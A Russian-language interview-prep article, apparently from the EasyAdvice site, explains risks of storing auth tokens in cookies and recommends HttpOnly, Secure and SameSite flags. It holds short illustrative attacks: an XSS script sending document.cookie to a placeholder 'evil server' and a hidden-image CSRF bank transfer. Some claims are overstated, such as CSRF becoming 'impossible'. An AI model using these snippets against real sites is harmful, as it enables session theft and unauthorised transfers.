Хранение токенов в cookies несёт несколько рисков:
// ❌ Риски при хранении токенов в cookies:
// document.cookie = 'token=abc123'; // Уязвим для XSS
// ✅ Лучше — использовать HttpOnly + Secure + SameSite
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=StrictХранить токены в cookies — как хранить ключи от дома в кармане куртки. Удобно, но если куртку украдут или в кармане кто-то полезет — ключи пропадут! 🔑
// ❌ Проблема — если сайт уязвим для XSS:
<script>
// Злоумышленник крадёт все cookies
const tokens = document.cookie;
sendToEvilServer(tokens); // Отправляет токены себе
</script>
// Результат: украдены токены авторизации!// ❌ Проблема — браузер автоматически отправляет cookies:
<img src="https://bank.com/transfer?to=evil&amount=1000" style="display:none">
// Если пользователь залогинен в банке,
// браузер автоматически пришлёт cookie с токеном!
// Перевод может сработать без ведома пользователя!// ❌ Проблема — cookie могут попасть в логи:
// Запрос: GET /api/data HTTP/1.1
// Cookie: token=abc123; user=john
// Теперь токен в серверных логах!
// Если логи скомпрометированы — токены украдены!// ✅ Защита от XSS:
// Set-Cookie: token=abc123; HttpOnly; Secure
// JavaScript НЕ видит такую cookie!
// Даже при XSS атаке токен не украдут// ✅ Защита от CSRF:
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict
// Cookie отправляется только с запросами с того же сайта!
// CSRF атаки становятся невозможны// ✅ Только по HTTPS:
// Set-Cookie: token=abc123; HttpOnly; Secure
// Cookie передаётся только по защищённому соединению// ✅ Альтернатива:
localStorage.setItem('token', 'abc123');
// ❌ Но тоже уязвим для XSS!
// Нужны дополнительные меры защиты// ✅ Современный подход:
// Authorization: Bearer abc123
// Токен передаётся в заголовках, не в cookie
// Лучше контролируется и безопаснее// ✅ Можно, если:
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
// - HttpOnly — защита от XSS
// - Secure — только по HTTPS
// - SameSite — защита от CSRF
// - Path — ограничение путей// ✅ Подходит для:
// - Сессионных токенов
// - Токенов обновления (refresh tokens)
// - Временных авторизаций// ❌ Плохо:
document.cookie = 'authToken=abc123'; // Нет защиты!
// ✅ Лучше:
// Set-Cookie: authToken=abc123; HttpOnly; Secure; SameSite=Strict// ❌ Плохо — часть токенов в cookie, часть в localStorage
// Создаёт путаницу и дополнительные риски
// ✅ Лучше — единый подход к хранению токеновПонимание рисков хранения токенов в cookies помогает создавать более безопасные приложения! 💪
Хотите больше статей для подготовки к собеседованиям? Подписывайтесь на EasyAdvice, добавляйте сайт в закладки и совершенствуйтесь каждый день 💪